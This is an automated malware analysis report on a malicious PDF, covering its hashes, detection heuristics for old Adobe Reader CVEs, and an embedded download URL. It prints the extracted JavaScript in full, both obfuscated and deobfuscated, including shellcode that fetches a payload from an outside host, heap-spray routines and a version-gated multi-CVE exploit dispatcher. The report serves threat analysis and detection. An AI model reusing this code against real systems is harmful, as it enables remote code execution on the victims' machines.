Malicious PDF — malware analysis report

Static analysis result for SHA-256 baa268e3e6945133…

MALICIOUS

PDF

11.3 KB Authoring application: Qepobohoviqa (via Uouonozl deqeendg) First seen: 2026-05-09
MD5: fcb45a1d3ecb95dbcadc4f9c3f1bbb5d SHA-1: fd01d03c4e3f480d2da2ccca87aa680cd25304f4 SHA-256: baa268e3e6945133cd10b487245a58827d0bae2eefa23c9dbbee8f221b293e8b
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment

The PDF file has been flagged as malicious by an ML classifier with a very high confidence score. Embedded JavaScript actions and streams were detected, suggesting the document is designed to execute malicious code. The presence of JavaScript points towards an attempt to download and execute a second-stage payload. The authoring application 'Qepobohoviqa (via Uouonozl deqeendg)' and the surrounding text fragments are obfuscated and do not provide clear indicators of the document's specific lure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://xeonul.com/s/d/1.php?& Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0020_000.js pdf-javascript-stream PDF /JS object 20 at offset 0x26B4 3768 bytes
SHA-256: b8855ef209855034e4f065d2545023b5b9b4422c3e78de7a3d3e1a84032bbec8
Preview script
First 1,000 lines of the extracted script
var qD						=						[						"l"						,						"a"						,						"v"						,						"e"						,						""						];						h						=						new						 String						(						qD						[						3						]						+						qD						[						2						]						+						qD						[						1						]						+						qD						[						0						]						+						qD						[						4						]						)						;												var x						=						[						"Word"						,						"getPa"						,						"geNth"						,						""						];						xY						=						new						 String						(						x						[						1						]						+						x						[						2						]						+						x						[						0						]						+						x						[						3						]						)						;												var yR						=						[						"eNu"						,						"rds"						,						""						,						"get"						,						"Pag"						,						"mWo"						];						xW						=						new						 String						(						yR						[						3						]						+						yR						[						4						]						+						yR						[						0						]						+						yR						[						5						]						+						yR						[						1						]						+						yR						[						2						]						)						;												var uX						=						[						"s"						,						"e"						,						"n"						,						"u"						,						"p"						,						"e"						,						"a"						,						""						,						"c"						];						b						=						new						 String						(						uX						[						3						]						+						uX						[						2						]						+						uX						[						1						]						+						uX						[						0						]						+						uX						[						8						]						+						uX						[						6						]						+						uX						[						4						]						+						uX						[						1						]						+						uX						[						7						]						)						;												var t						=						[						"deA"						,						"cha"						,						"t"						,						"rCo"						,						""						];						f						=						new						 String						(						t						[						1						]						+						t						[						3						]						+						t						[						0						]						+						t						[						2						]						+						t						[						4						]						)						;												var tK						=						[						"harCo"						,						"fromC"						,						""						,						"de"						];						oR						=						new						 String						(						tK						[						1						]						+						tK						[						0						]						+						tK						[						3						]						+						tK						[						2						]						)						;												var v						=						[						"a"						,						""						,						"p"						,						"p"						];						l						=						new						 String						(						v						[						0						]						+						v						[						2						]						+						v						[						2						]						+						v						[						1						]						)						;																		var vY						=						this						;						var						 gB						=						new String("%")						;						var						 p						=						2						;						var						 bY						=						String						;						var						 mN						=						0						;						var						 lG						=						219						;						var						 l						=						vY						[						l						]						;						var						 uZ						=						3						;						var						 lO						=						vY						[						b						]						;						var						 mD						=						vY						[						xW						]						(						uZ						)						;						var						 r						=						""						;												for						(						var						 tA						=						mN						;						tA						<						mD						;						tA						+=						1						)						{												aV=vY						[						xY						]						(						uZ						,						tA						)						;						var						 rA						=						aV						.						substr						(						aV						.						length						-						p						,						p						)						;						var						 mZ						=						lO						(						gB						+						rA						)						;						var						 pY						=						mZ						[						f						]						(						mN						)						;						var						 kN						=						pY						^						lG						;						r						+=						bY						[						oR						]						(						kN						)						;						}						this						[						h						]						(						r						)						;
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3747 bytes
SHA-256: 09479786a285c1652393d4e56956db9465cc5c6223c1ae62d4b1609a5ecfd1aa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://xeonul.com/s/d/1.php?&  */
var _u="http://xeonul.com/s/d/1.php?& ";
  v         v  wuww6666 w$  
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);

	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}
	return ret;
};

function sRLZYf(GLxg,THaby){while(GLxg.length*2 < THaby){GLxg+=GLxg;}GLxg=GLxg.substring(0,THaby/2);return GLxg;}function jnr(){var KdRvw=get_shellcode("CollabUTIL");

var YaM=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
var VuyYV=YaM+KdRvw;var nYhg=unescape("%u0A0A%u0A0A");var UEXZT=20;var EdaVEk=UEXZT+VuyYV.length;while(nYhg.length < EdaVEk){nYhg+=nYhg;}var QLq=nYhg.substring(0,EdaVEk);var cNKsm=nYhg.substring(0,nYhg.length-EdaVEk);while(cNKsm.length+EdaVEk<0x40000){cNKsm=cNKsm+cNKsm+QLq;}var LPmEhRU=new Array();for(var i=0;i<1400;i++){LPmEhRU[i]=cNKsm+VuyYV;}var yLWdSkq=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",yLWdSkq);}
function ZmRpQ(){var tLTsV=get_shellcode("CollabEMAIL");
var LPmEhRU=new Array();var FNeZZn=0x0c0c0c0c;var MaLjNA=0x400000;var tcwXwm=tLTsV.length*2;var THaby=MaLjNA-(tcwXwm+0x38);var GLxg=unescape("%u9090%u9090");GLxg=sRLZYf(GLxg,THaby);var xEB=(FNeZZn-0x400000)/MaLjNA;for(var NcGEjzZ=0;NcGEjzZ < xEB;NcGEjzZ++){LPmEhRU[NcGEjzZ]=GLxg+tLTsV;}var dcv=unescape("%u0c0c%u0c0c");while(dcv.length<44952){dcv+=dcv;}this.collabStore=Collab.collectEmailInfo({subj:"",msg:dcv});}function wcc(){if(app.doc.Collab.getIcon){var pfGH=new Array();
var Yutw=get_shellcode("CollabICON");
var Jkw=Yutw.length*2;var THaby=0x400000-(Jkw+0x38);var GLxg=unescape("%u9090%u9090");
GLxg=sRLZYf(GLxg,THaby);var QhcpRBAy=(0x0c0c0c0c-0x400000)/0x400000;
for(var VUrd=0;VUrd < QhcpRBAy;VUrd++){pfGH[VUrd]=GLxg+Yutw;}var FrhvTVk=unescape("%09");while(FrhvTVk.length<0x4000){FrhvTVk+=FrhvTVk;}FrhvTVk="N."+FrhvTVk;app.doc.Collab.getIcon(FrhvTVk);}}function RUCXp(){var ZttFWtXh=app.viewerVersion.toString();ZttFWtXh=ZttFWtXh.replace(/\D/g,'');var gWehQ=new Array(ZttFWtXh.charAt(0),ZttFWtXh.charAt(1),ZttFWtXh.charAt(2));if((gWehQ[0]==8)&&(gWehQ[1]==0)||(gWehQ[1]==1&&gWehQ[2]<3)){jnr();}if((gWehQ[0]<8)||(gWehQ[0]==8&&gWehQ[1]<2&&gWehQ[2]<2)){ZmRpQ();}if((gWehQ[0]<9)||(gWehQ[0]==9&&gWehQ[1]<1)){wcc();}}

RUCXp();6w6ww5u ww      ` 5``  5    5       `  5     5      6  6 56    6565 6  w    6�� ��� ��

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